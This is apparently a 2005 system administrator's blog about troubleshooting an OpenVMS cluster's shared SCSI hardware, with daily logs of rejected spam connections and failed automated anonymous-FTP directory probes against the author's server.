SYSMGR

We're a bunch of Computers: Diana, Daphne, and Dido, called the 3D-cluster, running OpenVMS, Io running OpenVMS as well (in some obscure role in the network) Aphrodite, Athene and Irene running WindowsXP-Pro (SP2, of course) and Cerberus at the edge of the Network, with Charon, also running Linux, as standby. SYSMGR takes care of us.

Saturday, December 31

31-Dec-2005

No single-disk cluster - yet
Several problems, coming together, make it virtually impossible to create a single-system-disk cluster.
Tried this on Diso: boot it conversarionally, in SYSBOOT set parameter VOTES to 1 - as stated on ITRC. DIDO was updated and rebooted, but due to the wrong SRM variables had to reboot manually. In that sequence, Diana hung for some reason, perhaps VERSIONS?
When Dido wa started afterwards, the same problem on the shared SCSI bus (llosing connection, falling into mount verification and finsihing that, passing from Dido to SMCP on Diana and back) made it impossible for Dido to start
Other hardware
In Daphne (easiest accessable) I exchanged the KZPSA with KZPBA, indeed could set the host_id to 5 but that did not stop the console from crashing - continuously, as long as Diana was booting. After that, I started custer_cnfig on diana to create a root for Daphne, booted Daphne to the newly created root, set SYSGEN parameter VOTES to 1 - as stated on ITRC - but Daphne did not pass starting MSCP.

For the moment, the project is postponed.

Security
a few in mail:
30-DEC-2005 03:25:48.97 CLNTINRBL 80.57.233.72
30-DEC-2005 07:37:04.69 NOSPAMRLY 125.188.61.77 gjwns_44@daum.net
30-DEC-2005 17:11:16.90 CLNTINRBL 65.185.22.127
30-DEC-2005 17:25:10.58 CLNTINRBL 213.76.135.225
30-DEC-2005 17:25:18.45 CLNTINRBL 213.76.135.225
30-DEC-2005 17:25:24.66 CLNTINRBL 213.76.135.225
30-DEC-2005 23:42:46.63 CLNTINRBL 66.176.74.49
31-DEC-2005 05:05:01.20 BADMF john@yahoo.com
31-DEC-2005 05:05:08.51 BADMF john@yahoo.com
31-DEC-2005 07:20:47.60 CLNTINRBL 67.173.10.210
31-DEC-2005 08:13:14.04 BADMF gilbert@yahoo.com
31-DEC-2005 08:13:22.03 BADMF gilbert@yahoo.com
31-DEC-2005 08:13:31.04 BADMF gilbert@yahoo.com
31-DEC-2005 12:00:45.15 BADMF thomas@yahoo.com
31-DEC-2005 12:00:52.65 BADMF thomas@yahoo.com
31-DEC-2005 12:01:00.58 BADMF thomas@yahoo.com
31-DEC-2005 13:18:04.13 CLNTINRBL 69.178.85.140
31-DEC-2005 13:31:43.55 BADMF rogert@yahoo.com
31-DEC-2005 13:31:50.92 BADMF rogert@yahoo.com
31-DEC-2005 13:32:00.80 BADMF rogert@yahoo.com
31-DEC-2005 22:35:20.12 CLNTINRBL 69.137.118.8
31-DEC-2005 23:49:10.58 CLNTINRBL 24.57.25.237
31-DEC-2005 23:49:30.60 CLNTINRBL 61.129.35.147
31-DEC-2005 23:49:40.41 CLNTINRBL 68.186.252.239
31-DEC-2005 23:49:58.63 CLNTINRBL 86.126.196.160

and one on anonymous FTP:

%%%%%%%%%%% OPCOM 31-DEC-2005 02:04:11.47 %%%%%%%%%%%
Message from user TCPIP$FTP on DIANA
User Name: anonymous
Source: static-68-236-199-200.nwrk.east.verizon.net
Status: NOPRIV -- File access violation
Object: WEB_DISK:[public.anonymous.051230200311p]

just 7 seconds:

31-DEC-2005 02:04:10.19 User:anonymous logged in ident:Wgpuser@home.com from Host:static-68-236-199-200.nwrk.east.verizon.net
31-DEC-2005 02:04:11.24 User:anonymous ident:Wgpuser@home.com status:00010001 CWD dir:WEB_DISK:[public.anonymous]
31-DEC-2005 02:04:17.79 User:anonymous ident:Wgpuser@home.com logged out

where the script tried:

%TCPIP-I-FTP_SESCON, FTP SERVER: session connection from static-68-236-199-200.nwrk.east.verizon.net at 31-DEC-2005 02:04:09.81
%TCPIP-I-FTP_NODE, client host name: static-68-236-199-200.nwrk.east.verizon.net
%TCPIP-I-FTP_USER, user name: anonymous
%TCPIP-I-FTP_OBJ, object: WEB_DISK:[public.anonymous.051230200311p]
%TCPIP-I-FTP_CHINFO, TCPIP$FTPC00003: Failed to create directory
%SYSTEM-F-NOPRIV, insufficient privilege or object protection violation
%TCPIP-I-FTP_NODE, client host name: static-68-236-199-200.nwrk.east.verizon.net
%TCPIP-I-FTP_USER, user name: anonymous
%TCPIP-I-FTP_OBJ, object: /pub/
%TCPIP-I-FTP_CHINFO, TCPIP$FTPC00003: Failed to set default directory
%SYSTEM-W-BADIRECTORY, bad directory file format
%TCPIP-I-FTP_NODE, client host name: static-68-236-199-200.nwrk.east.verizon.net
%TCPIP-I-FTP_USER, user name: anonymous


and the same on

%TCPIP-I-FTP_OBJ, object: /public/
%TCPIP-I-FTP_OBJ, object: /_vti_pvt/
%TCPIP-I-FTP_OBJ, object: /_vti_txt/
%TCPIP-I-FTP_OBJ, object: /_vti_cfg/
%TCPIP-I-FTP_OBJ, object: /_vti_log/
%TCPIP-I-FTP_OBJ, object: /_vti_cnf/
%TCPIP-I-FTP_OBJ, object: /_private/
%TCPIP-I-FTP_OBJ, object: /incoming/
%TCPIP-I-FTP_OBJ, object: /pub/incoming/
%TCPIP-I-FTP_OBJ, object: /public/incoming/
%TCPIP-I-FTP_OBJ, object: /public_html/
%TCPIP-I-FTP_OBJ, object: /upload/
%TCPIP-I-FTP_OBJ, object: /wwwroot/
%TCPIP-I-FTP_OBJ, object: /mailroot/
%TCPIP-I-FTP_OBJ, object: /ftproot/
%TCPIP-I-FTP_OBJ, object: /home/
%TCPIP-I-FTP_OBJ, object: /images/
%TCPIP-I-FTP_OBJ, object: /web/
%TCPIP-I-FTP_OBJ, object: /www/
%TCPIP-I-FTP_OBJ, object: /html/
%TCPIP-I-FTP_OBJ, object: /cgi-bin/
%TCPIP-I-FTP_OBJ, object: /usr/
%TCPIP-I-FTP_OBJ, object: /usr/incoming/
%TCPIP-I-FTP_OBJ, object: /temp/
%TCPIP-I-FTP_OBJ, object: /~temp/
%TCPIP-I-FTP_OBJ, object: /tmp/
%TCPIP-I-FTP_OBJ, object: /~tmp/
%TCPIP-I-FTP_OBJ, object: /outgoing/
%TCPIP-I-FTP_OBJ, object: /anonymous/
%TCPIP-I-FTP_OBJ, object: /anonymous/_vti_pvt/
%TCPIP-I-FTP_OBJ, object: /anonymous/_vti_cnf/
%TCPIP-I-FTP_OBJ, object: /anonymous/incoming/
%TCPIP-I-FTP_OBJ, object: /anonymous/pub/
%TCPIP-I-FTP_OBJ, object: /anonymous/public/
%TCPIP-I-FTP_OBJ, object: /tagged/
%TCPIP-I-FTP_OBJ, object: /tagged.by/

%TCPIP-I-FTP_SESDCN, FTP SERVER: session disconnection from static-68-236-199-200.nwrk.east.verizon.net at 31-DEC-2005 02:04:17.92

Two other accesses wewe not finished:

%TCPIP-I-FTP_SESCON, FTP SERVER: session connection from 195.176.135.3 at 30-DEC-2005 00:34:09.37
%TCPIP-I-FTP_SESCON, FTP SERVER: session connection from 220-132-64-32.HINET-IP.hinet.net at 30-DEC-2005 06:14:24.67

Friday, December 30

30-Dec-2005

More hardware trouble...
but different.
Planned to apply the suggestions as given on ITRC (booted up HSZ50 and disk shelves) it runed out Hera had severe problems. Being equipped with 64M (bank 0) + 128M (bank 1) RAM SIMMs, it was dead slow - and examining the hardware found by the BIOS is showed just the 64M in bank 0. No wonder it was so slow. First idea was that the 128M SIMM broke down, but switching both SIMMS shows 132072 bytes - 128 * 1024.
In retrying the system all of a sudden failed completely - and it turned out the power unit gave up. Went to a hardware shop nearby and it was found that some capicitaor on the motherboard was bad - and leaking. So byew bye to Hera.
Bought a new box (called Irene) and had all software re-installed....
Security
just mail:

29-DEC-2005 01:05:57.77 CLNTINRBL 82.238.53.73
29-DEC-2005 06:08:03.33 BADMF john@yahoo.com
29-DEC-2005 06:08:11.66 BADMF john@yahoo.com
29-DEC-2005 06:08:18.06 BADMF john@yahoo.com
29-DEC-2005 06:14:35.95 NOSPAMRLY 125.188.61.77 gjwns_44@daum.net
29-DEC-2005 10:28:46.78 CLNTINRBL 217.208.246.10
29-DEC-2005 11:19:48.28 CLNTINRBL 58.238.58.207
29-DEC-2005 17:38:08.95 BADMF nwslesoew19@yahoo.com
29-DEC-2005 18:47:14.00 BADMF hugh@yahoo.com
29-DEC-2005 18:47:22.36 BADMF hugh@yahoo.com
29-DEC-2005 18:47:29.58 BADMF hugh@yahoo.com

Wednesday, December 28

28-Dec-2005

Single System disk attempt
Followed another approach: just create a new system root, have all missing (node-specific) files copied and boot from there.
Copying the files was already a problem with switching paths. The same happens booting from that shared system disk:

%%%%%%%%%%% OPCOM 28-DEC-2005 09:12:52.87 %%%%%%%%%%%
Logfile time stamp

%%%%%%%%%%% OPCOM 28-DEC-2005 09:18:40.76 %%%%%%%%%%%
Device $116$DKA100: (DIDO PKB, DIANA) is offline.
Mount verification is in progress.

%%%%%%%%%%% OPCOM 28-DEC-2005 09:18:43.57 %%%%%%%%%%%
09:18:43.57 Multipath access to device $116$DKA100: has been auto switched from path PKB0.1 (DIDO) to path MSCP (DIANA)

%%%%%%%%%%% OPCOM 28-DEC-2005 09:18:43.58 %%%%%%%%%%%
Mount verification has completed for device $116$DKA100: (DIANA, DIDO PK)

%%%%%%%%%%% OPCOM 28-DEC-2005 09:18:48.35 %%%%%%%%%%%
Device $116$DKA100: (DIANA, DIDO PK) is offline.
Mount verification is in progress.

%%%%%%%%%%% OPCOM 28-DEC-2005 09:18:48.37 %%%%%%%%%%%
09:18:48.37 Multipath access to device $116$DKA100: has been auto switched from path MSCP (DIANA) to path PKB0.1 (DIDO)

%%%%%%%%%%% OPCOM 28-DEC-2005 09:18:48.37 %%%%%%%%%%%
Mount verification has completed for device $116$DKA100: (DIDO PKB, DIANA)

%%%%%%%%%%% OPCOM 28-DEC-2005 09:20:40.65 %%%%%%%%%%%
Device $116$DKA100: (DIDO PKB, DIANA) is offline.
Mount verification is in progress.

%%%%%%%%%%% OPCOM 28-DEC-2005 09:20:43.04 %%%%%%%%%%%
09:20:43.04 Multipath access to device $116$DKA100: has been auto switched from path PKB0.1 (DIDO) to path MSCP (DIANA)

%%%%%%%%%%% OPCOM 28-DEC-2005 09:20:43.04 %%%%%%%%%%%
Mount verification has completed for device $116$DKA100: (DIANA, DIDO PK)

%%%%%%%%%%% OPCOM 28-DEC-2005 09:23:48.37 %%%%%%%%%%%
Device $116$DKA100: (DIANA, DIDO PK) is offline.
Mount verification is in progress.

%%%%%%%%%%% OPCOM 28-DEC-2005 09:23:48.42 %%%%%%%%%%%
09:23:48.42 Multipath access to device $116$DKA100: has been auto switched from path MSCP (DIANA) to path PKB0.1 (DIDO)

%%%%%%%%%%% OPCOM 28-DEC-2005 09:23:48.42 %%%%%%%%%%%
Mount verification has completed for device $116$DKA100: (DIDO PKB, DIANA)

%%%%%%%%%%% OPCOM 28-DEC-2005 09:24:18.72 %%%%%%%%%%%
Device $116$DKA100: (DIDO PKB, DIANA) is offline.
Mount verification is in progress.

%%%%%%%%%%% OPCOM 28-DEC-2005 09:24:20.94 %%%%%%%%%%%
09:24:20.94 Multipath access to device $116$DKA100: has been auto switched from path PKB0.1 (DIDO) to path MSCP (DIANA)

%%%%%%%%%%% OPCOM 28-DEC-2005 09:24:20.94 %%%%%%%%%%%
Mount verification has completed for device $116$DKA100: (DIANA, DIDO PK)

and that may go on for some time. The only way to get on is to abort the process
Asked ITRC how to get on from here...

Security
FTP
One from Belgium:
%%%%%%%%%%% OPCOM 27-DEC-2005 17:59:21.76 %%%%%%%%%%%
Message from user TCPIP$FTP on DIANA
User Name: anonymous
Source: 189-85.241.81.adsl.skynet.be
Status: NOPRIV -- File access violation
Object: WEB_DISK:[public.anonymous.051227175922p]

Script running. Too short to do it all by hand:

27-DEC-2005 17:59:21.59 User:anonymous ident:Igpuser@home.com status:00010001 CWD dir:WEB_DISK:[public.anonymous]
27-DEC-2005 17:59:21.81 User:anonymous ident:Igpuser@home.com status:07649912 CWD dir:WEB_DISK:[public.anonymous]SYS$POSIX_ROOT^:pub.;
27-DEC-2005 17:59:25.54 User:anonymous ident:Igpuser@home.com logged out

He (or she? but most kiddies are male) tries quite a lot:

%TCPIP-I-FTP_SESCON, FTP SERVER: session connection from 189-85.241.81.adsl.skynet.be at 27-DEC-2005 17:59:20.38
%TCPIP-I-FTP_NODE, client host name: 189-85.241.81.adsl.skynet.be
%TCPIP-I-FTP_USER, user name: anonymous
%TCPIP-I-FTP_OBJ, object: WEB_DISK:[public.anonymous.051227175922p]
%TCPIP-I-FTP_CHINFO, TCPIP$FTPC0001A: Failed to create directory
%SYSTEM-F-NOPRIV, insufficient privilege or object protection violation
%TCPIP-I-FTP_NODE, client host name: 189-85.241.81.adsl.skynet.be
%TCPIP-I-FTP_USER, user name: anonymous
%TCPIP-I-FTP_OBJ, object: SYS$POSIX_ROOT^:pub
%TCPIP-I-FTP_CHINFO, TCPIP$FTPC0001A: Failed to set default directory
%TCPIP-E-FTP_BADDIR, invalid directory


and the script goes on:

%TCPIP-I-FTP_OBJ, object: /images/
%TCPIP-I-FTP_OBJ, object: /pub/images /pub/_vti_pvt/
%TCPIP-I-FTP_OBJ, object: /pub/_vti_txt/ /wwwroot/
%TCPIP-I-FTP_OBJ, object: /wwwroot/incoming/
%TCPIP-I-FTP_OBJ, object: /wwwroot/pub/
%TCPIP-I-FTP_OBJ, object: /public/incoming/
%TCPIP-I-FTP_OBJ, object: /incoming/
%TCPIP-I-FTP_OBJ, object: /pub/incoming/
%TCPIP-I-FTP_OBJ, object: /upload/
%TCPIP-I-FTP_OBJ, object: /_vti_cfg/
%TCPIP-I-FTP_OBJ, object: /_vti_cnf/
%TCPIP-I-FTP_OBJ, object: /_vti_pvt/
%TCPIP-I-FTP_OBJ, object: /_vti_txt/
%TCPIP-I-FTP_OBJ, object: /_vti_log/
%TCPIP-I-FTP_OBJ, object: /wwwroot/
%TCPIP-I-FTP_OBJ, object: /www/
%TCPIP-I-FTP_OBJ, object: /public/
%TCPIP-I-FTP_OBJ, object: /outgoing/
%TCPIP-I-FTP_OBJ, object: /temp/
%TCPIP-I-FTP_OBJ, object: /tmp/
%TCPIP-I-FTP_OBJ, object: /anonymous/_vti_pvt/
%TCPIP-I-FTP_OBJ, object: /anonymous/incoming/
%TCPIP-I-FTP_OBJ, object: /mailroot/
%TCPIP-I-FTP_OBJ, object: /ftproot/
%TCPIP-I-FTP_OBJ, object: /anonymous/pub/
%TCPIP-I-FTP_OBJ, object: /anonymous/public/
%TCPIP-I-FTP_OBJ, object: /anonymous/
%TCPIP-I-FTP_OBJ, object: /images/
%TCPIP-I-FTP_OBJ, object: /_private/
%TCPIP-I-FTP_OBJ, object: /cgi-bin/
%TCPIP-I-FTP_OBJ, object: /cgibin/
%TCPIP-I-FTP_OBJ, object: /usr/
%TCPIP-I-FTP_OBJ, object: /usr/incoming/
%TCPIP-I-FTP_OBJ, object: /home/
%TCPIP-I-FTP_OBJ, object: /in/
%TCPIP-I-FTP_OBJ, object: /html/
%TCPIP-I-FTP_OBJ, object: /cgi-bin/
%TCPIP-I-FTP_OBJ, object: /_private/
%TCPIP-I-FTP_OBJ, object: /cgi-bin/
%TCPIP-I-FTP_OBJ, object: /cgibin/
%TCPIP-I-FTP_OBJ, object: /usr/
%TCPIP-I-FTP_OBJ, object: /usr/incoming/
%TCPIP-I-FTP_OBJ, object: /public_html/
%TCPIP-I-FTP_OBJ, object: /pub/incoming/
%TCPIP-I-FTP_OBJ, object: /public/incoming/
%TCPIP-I-FTP_OBJ, object: /mailroot/
%TCPIP-I-FTP_OBJ, object: /ftproot/
%TCPIP-I-FTP_OBJ, object: /home/
%TCPIP-I-FTP_OBJ, object: /_private/
%TCPIP-I-FTP_OBJ, object: /temp/
%TCPIP-I-FTP_OBJ, object: /~temp/
%TCPIP-I-FTP_OBJ, object: /tmp/
%TCPIP-I-FTP_OBJ, object: /~tmp/
%TCPIP-I-FTP_OBJ, object: /outgoing/
%TCPIP-I-FTP_OBJ, object: /_private/
%TCPIP-I-FTP_OBJ, object: /temp/
%TCPIP-I-FTP_OBJ, object: /~temp/
%TCPIP-I-FTP_OBJ, object: /anonymous/public/
%TCPIP-I-FTP_OBJ, object: /public/
%TCPIP-I-FTP_OBJ, object: /upload/

and runs out of breath:

%TCPIP-I-FTP_SESDCN, FTP SERVER: session disconnection from 189-85.241.81.adsl.skynet.be at 27-DEC-2005 17:59:25.67

A warning will go out.

Mail:
It has been quiet on this front:
27-DEC-2005 00:57:11.39 NOSPAMRLY 125.188.61.77 gjwns_11@daum.net
27-DEC-2005 22:10:23.33 CLNTINRBL 82.59.217.38

Boinc
It just does that. I keep a blog on this on OpenVMSPlanet (http://www.openvmsplanet.org/community/viewtopic.php?t=28&sid=c27cd31ebae1d756c7631c2e59716f95) so you can reard there what problems I encountered up to this moment. It will be a harder nut to crack, than I imagined....

Tuesday, December 27

26-Dec-2005

Security report
FTP:
There has been two attempts since last reboot (23-Dec-2005).
The first one appears to be some script-kiddy in Poland:

%%%%%%%%%%% OPCOM 24-DEC-2005 04:25:09.63 %%%%%%%%%%%
Message from user TCPIP$FTP on DIANA
User Name: anonymous
Source: abyq115.neoplus.adsl.tpnet.pl
Status: NOPRIV -- File access violation
Object: WEB_DISK:[public.anonymous.051224042455p]

Like so often, it's just a few seconds:

24-DEC-2005 04:25:08.41 User:anonymous logged in ident:Ogpuser@home.com from Host:abyq115.neoplus.adsl.tpnet.pl
24-DEC-2005 04:25:09.50 User:anonymous ident:Ogpuser@home.com status:00010001 CWD dir:WEB_DISK:[public.anonymous]
24-DEC-2005 04:25:12.20 User:anonymous ident:Ogpuser@home.com logged out

In these three seconds, he tried this:

%TCPIP-I-FTP_SESCON, FTP SERVER: session connection from abyq115.neoplus.adsl.tpnet.pl at 24-DEC-2005 04:25:08.13
%TCPIP-I-FTP_NODE, client host name: abyq115.neoplus.adsl.tpnet.pl
%TCPIP-I-FTP_USER, user name: anonymous
%TCPIP-I-FTP_OBJ, object: WEB_DISK:[public.anonymous.051224042455p]
%TCPIP-I-FTP_CHINFO, TCPIP$FTPC0000E: Failed to create directory
%SYSTEM-F-NOPRIV, insufficient privilege or object protection violation
%TCPIP-I-FTP_NODE, client host name: abyq115.neoplus.adsl.tpnet.pl
%TCPIP-I-FTP_USER, user name: anonymous
%TCPIP-I-FTP_OBJ, object: /pub/
%TCPIP-I-FTP_CHINFO, TCPIP$FTPC0000E: Failed to set default directory
%SYSTEM-W-BADIRECTORY, bad directory file format
%TCPIP-I-FTP_NODE, client host name: abyq115.neoplus.adsl.tpnet.pl
%TCPIP-I-FTP_USER, user name: anonymous


and the expected sequence of:

%TCPIP-I-FTP_OBJ, object: /public/
%TCPIP-I-FTP_OBJ, object: /_vti_pvt/
%TCPIP-I-FTP_OBJ, object: /_vti_txt/
%TCPIP-I-FTP_OBJ, object: /_vti_cfg/
%TCPIP-I-FTP_OBJ, object: /_vti_log/
%TCPIP-I-FTP_OBJ, object: /_vti_cnf/
%TCPIP-I-FTP_OBJ, object: /_private/
%TCPIP-I-FTP_OBJ, object: /incoming/
%TCPIP-I-FTP_OBJ, object: /pub/incoming/
%TCPIP-I-FTP_OBJ, object: /public/incoming/
%TCPIP-I-FTP_OBJ, object: /public_html/
%TCPIP-I-FTP_OBJ, object: /upload/
%TCPIP-I-FTP_OBJ, object: /wwwroot/
%TCPIP-I-FTP_OBJ, object: /mailroot/
%TCPIP-I-FTP_OBJ, object: /ftproot/
%TCPIP-I-FTP_OBJ, object: /home/
%TCPIP-I-FTP_OBJ, object: /images/
%TCPIP-I-FTP_OBJ, object: /web/
%TCPIP-I-FTP_OBJ, object: /www/
%TCPIP-I-FTP_OBJ, object: /html/
%TCPIP-I-FTP_OBJ, object: /cgi-bin/
%TCPIP-I-FTP_OBJ, object: /usr/
%TCPIP-I-FTP_OBJ, object: /usr/incoming/
%TCPIP-I-FTP_OBJ, object: /temp/
%TCPIP-I-FTP_OBJ, object: /~temp/
%TCPIP-I-FTP_OBJ, object: /tmp/
%TCPIP-I-FTP_OBJ, object: /~tmp/
%TCPIP-I-FTP_OBJ, object: /outgoing/
%TCPIP-I-FTP_OBJ, object: /anonymous/
%TCPIP-I-FTP_OBJ, object: /anonymous/_vti_pvt/
%TCPIP-I-FTP_OBJ, object: /anonymous/_vti_cnf/
%TCPIP-I-FTP_OBJ, object: /anonymous/incoming/
%TCPIP-I-FTP_OBJ, object: /anonymous/pub/
%TCPIP-I-FTP_OBJ, object: /anonymous/public/

Finally:
%TCPIP-I-FTP_SESDCN, FTP SERVER: session disconnection from abyq115.neoplus.adsl.tpnet.pl at 24-DEC-2005 04:25:12.29

It seems that this provider can only be contacted in Polish - which I don't master. So by this: be warned about tpnet.pl!

The second one seems to be from the USA:

%%%%%%%%%%% OPCOM 26-DEC-2005 01:52:48.84 %%%%%%%%%%%
Message from user TCPIP$FTP on DIANA
User Name: anonymous
Source: www.vcgg.com
Status: NOPRIV -- File access violation
Object: WEB_DISK:[public.anonymous.051225195248p]

Once again, a shorty connection:

26-DEC-2005 01:52:46.22 User:anonymous logged in ident:Hgpuser@home.com from Host:www.vcgg.com
26-DEC-2005 01:52:47.35 User:anonymous ident:Hgpuser@home.com status:00010001 CWD dir:WEB_DISK:[public.anonymous]
26-DEC-2005 01:52:54.48 User:anonymous ident:Hgpuser@home.com logged out

There seems nothing wrong here, it might have started by hand but the rest must have been a script:

%TCPIP-I-FTP_SESCON, FTP SERVER: session connection from www.vcgg.com at 26-DEC-2005 01:52:45.90
%TCPIP-I-FTP_NODE, client host name: www.vcgg.com
%TCPIP-I-FTP_USER, user name: anonymous
%TCPIP-I-FTP_OBJ, object: WEB_DISK:[public.anonymous.051225195248p]
%TCPIP-I-FTP_CHINFO, TCPIP$FTPC00013: Failed to create directory
%SYSTEM-F-NOPRIV, insufficient privilege or object protection violation
%TCPIP-I-FTP_NODE, client host name: www.vcgg.com
%TCPIP-I-FTP_USER, user name: anonymous


the rest is the "normal" sequence:

%TCPIP-I-FTP_OBJ, object: /pub/
%TCPIP-I-FTP_OBJ, object: /public/
%TCPIP-I-FTP_OBJ, object: /_vti_pvt/
%TCPIP-I-FTP_OBJ, object: /_vti_txt/
%TCPIP-I-FTP_OBJ, object: /_vti_cfg/
%TCPIP-I-FTP_OBJ, object: /_vti_log/
%TCPIP-I-FTP_OBJ, object: /_vti_cnf/
%TCPIP-I-FTP_OBJ, object: /_private/
%TCPIP-I-FTP_OBJ, object: /incoming/
%TCPIP-I-FTP_OBJ, object: /pub/incoming/
%TCPIP-I-FTP_OBJ, object: /public/incoming/
%TCPIP-I-FTP_OBJ, object: /public_html/
%TCPIP-I-FTP_OBJ, object: /upload/
%TCPIP-I-FTP_OBJ, object: /wwwroot/
%TCPIP-I-FTP_OBJ, object: /mailroot/
%TCPIP-I-FTP_OBJ, object: /ftproot/
%TCPIP-I-FTP_OBJ, object: /home/
%TCPIP-I-FTP_OBJ, object: /images/
%TCPIP-I-FTP_OBJ, object: /web/
%TCPIP-I-FTP_OBJ, object: /www/
%TCPIP-I-FTP_OBJ, object: /html/
%TCPIP-I-FTP_OBJ, object: /cgi-bin/
%TCPIP-I-FTP_OBJ, object: /usr/
%TCPIP-I-FTP_OBJ, object: /usr/incoming/
%TCPIP-I-FTP_OBJ, object: /temp/
%TCPIP-I-FTP_OBJ, object: /~temp/
%TCPIP-I-FTP_OBJ, object: /tmp/
%TCPIP-I-FTP_OBJ, object: /~tmp/
%TCPIP-I-FTP_OBJ, object: /outgoing/
%TCPIP-I-FTP_OBJ, object: /anonymous/
%TCPIP-I-FTP_OBJ, object: /anonymous/_vti_pvt/
%TCPIP-I-FTP_OBJ, object: /anonymous/_vti_cnf/
%TCPIP-I-FTP_OBJ, object: /anonymous/incoming/
%TCPIP-I-FTP_OBJ, object: /anonymous/pub/
%TCPIP-I-FTP_OBJ, object: /anonymous/public/
%TCPIP-I-FTP_OBJ, object: /tagged/
%TCPIP-I-FTP_OBJ, object: /tagged.by/

%TCPIP-I-FTP_SESDCN, FTP SERVER: session disconnection from www.vcgg.com at 26-DEC-2005 01:52:54.59


WHOIS for vcgg.com shows it's a law firm in the US:

Registrant:
Vellines, Cobbs, Goodwin & Glass Attorney's At Law
Echols Bldg, Court Square
Staunton, VA 24401US
Domain Name: VCGG.COM
Administrative Contact:
Goodwin, Chap chap@VCGG.COM
Velines Cobbs, Goodwin & Glass Attorney's At Law
Echols Bldg, Court Square
Staunton, VA 24401
US (540) 885-1205 fax: (540) 885-7599
Technical Contact:
Administrator, DNS dns@ntelos.net
Ntelos, Inc.1154 Shenandoah Village DrWaynesboro, VA 22980
US (540) 946-2638 fax: (540) 942-3000
Record expires on 01-May-2006.
Record created on 30-Apr-1997.
Database last updated on 27-Dec-2005 11:35:03 EST.


The website the attempt came from (www.vcgg.com) requires authentication. Either it's hacked, abused in some way of there is a virus on it. I have signalled this to the only contact I could find.
Mail
Not that many since 23-Dec-2005:

23-DEC-2005 21:28:41.83 CLNTINRBL 24.232.12.228
23-DEC-2005 21:37:17.41 CLNTINRBL 210.243.234.200
23-DEC-2005 21:37:34.24 CLNTINRBL 82.210.168.183
23-DEC-2005 21:37:41.62 CLNTINRBL 66.77.153.151
23-DEC-2005 21:37:49.24 CLNTINRBL 195.0.210.77
23-DEC-2005 22:57:48.60 NOSPAMRLY 125.188.61.77 gjwns_11@daum.net
23-DEC-2005 07:12:47.29 CLNTINRBL 68.58.26.158
23-DEC-2005 09:14:48.18 CLNTINRBL 81.181.170.151
23-DEC-2005 11:37:35.88 NOSPAMRLY 222.156.13.9 sogiant.service@msa.hinet.net
24-DEC-2005 14:19:00.68 BADMF gilbert@yahoo.com
24-DEC-2005 14:19:08.18 BADMF gilbert@yahoo.com
24-DEC-2005 14:19:14.80 BADMF gilbert@yahoo.com
24-DEC-2005 18:04:03.71 CLNTINRBL 211.57.76.80
25-DEC-2005 00:12:18.40 BADMF geoffrey@yahoo.com
25-DEC-2005 00:12:26.17 BADMF geoffrey@yahoo.com
25-DEC-2005 00:12:34.04 BADMF geoffrey@yahoo.com
25-DEC-2005 03:53:42.75 CLNTINRBL 65.191.125.145
25-DEC-2005 08:05:33.53 CLNTINRBL 209.174.244.2
25-DEC-2005 08:05:40.13 CLNTINRBL 4.43.58.2
25-DEC-2005 08:05:47.54 CLNTINRBL 66.137.139.67
25-DEC-2005 08:05:55.35 CLNTINRBL 200.35.85.234
25-DEC-2005 08:06:18.77 CLNTINRBL 206.53.3.70
25-DEC-2005 08:06:29.18 CLNTINRBL 222.165.140.163
25-DEC-2005 08:06:40.99 CLNTINRBL 64.207.70.91
25-DEC-2005 12:17:08.10 CLNTINRBL 212.156.219.2
25-DEC-2005 21:49:08.32 CLNTINRBL 84.10.240.38
26-DEC-2005 22:33:48.12 BADMF henry@yahoo.com
26-DEC-2005 22:33:54.76 BADMF henry@yahoo.com
26-DEC-2005 22:34:00.70 BADMF henry@yahoo.com

Friday, December 23

23-Dec-2005

Shared SCSI Ok..
Took off the both aphastations from the SCSI bus - it did work well on Diana, so the problem was indeed somewhere around there. I replaced the KZPBA by KZPSA, and realized I had to change the SCSI-id - per system. Dido (the first one to handle since that was on top of the stack) could now access the HSZ50 as well and all disks, without a problem.
but rebuilding the cluster fails!
Next was to try to add Dido into the cluster - as a server, not a satelite - by running cluster_config. A new root is than created, and all goes, booting Dido from that new root is no problem at all - until the membership is requested. It takes a long time and a lot of attempts until a connection to Diana is esatblised - but that is the end. The system may try and try and try for hours, but no answer from Diana...
I did the same with Daphne but again, there is that failure adding itself into the cluster.

So it's quite a challenge to create a singele-disk, non-satelite cluster!
Therefore: single upgrade...
Since there is a rather recent backup of Diana's system disk, I decided to upgrade anyway. It saves a lot of work! The same has to be done with Dido - and DECNet must be handled - some connectyion seemed to be lost and there is a vast amount of messages.
Also, waht could be de-installed using PROD has been done (Some languages, not all), and I copied a number of packages to install from CD to disk - space enough.
Security
just a few mail:
22-DEC-2005 21:58:56.32 NOSPAMRLY 217.149.193.37 new_openrelay_test@internl.net
22-DEC-2005 06:14:39.47 CLNTINRBL 64.60.104.66
22-DEC-2005 06:14:48.64 CLNTINRBL 64.31.163.246

Thursday, December 22

22-Dec-2005

Hardware issues - again
Disconnected Daphne and Dido from the HSZ50 and had a terminator connected - and without Diana requiring a reboot the disks beyond the HSZ50 could be accessed. Initialzed one disk (to contain the V8.2 system, languages, and other products) and the second onw, created a LD device on that (4.1 Gb, like the current webdisk) and copied all data onto it.

So the issue seems to be something on either Daphne or Dido. Terminator or so? Next is finding out - step by step. Perhaps I'd better try the KZPCA boards in stead of KZPCB - now installed.
New system install
Now the HSZ50 seems to be usable, I installed a fresh 1.2 system on one of the disks, to be the one, shared system disk. Not an update of the current, but fully fresh. and that means a lot of installation and configuration. Well, copying the old data may be sufficient in some parts, but not in all...

Security
Mail since last check:

19-DEC-2005 16:43:14.61 CLNTINRBL 82.208.102.213
19-DEC-2005 18:38:00.49 CLNTINRBL 71.211.40.166
19-DEC-2005 21:57:23.87 NOSPAMRLY 217.149.193.37 new_openrelay_test@internl.net
19-DEC-2005 00:17:56.43 NOSPAMRLY 221.153.80.223 1aramisgo@hanmail.net
19-DEC-2005 04:47:00.43 CLNTINRBL 24.130.217.216
19-DEC-2005 08:48:11.89 CLNTINRBL 146.83.115.93
19-DEC-2005 08:48:15.50 CLNTINRBL 72.14.70.154
19-DEC-2005 08:48:18.36 CLNTINRBL 146.83.115.93
19-DEC-2005 08:48:23.30 CLNTINRBL 221.215.81.166
20-DEC-2005 22:33:14.46 CLNTINRBL 59.31.3.182
20-DEC-2005 00:00:16.70 NOSPAMRLY 125.188.61.77 gjwns_11@daum.net
20-DEC-2005 01:07:20.70 CLNTINRBL 221.153.80.223

49 more - once every few minutes, until

20-DEC-2005 01:09:30.19 CLNTINRBL 221.153.80.223
20-DEC-2005 03:26:00.96 BADMF qerzno81h6ev899@yahoo.com.tw
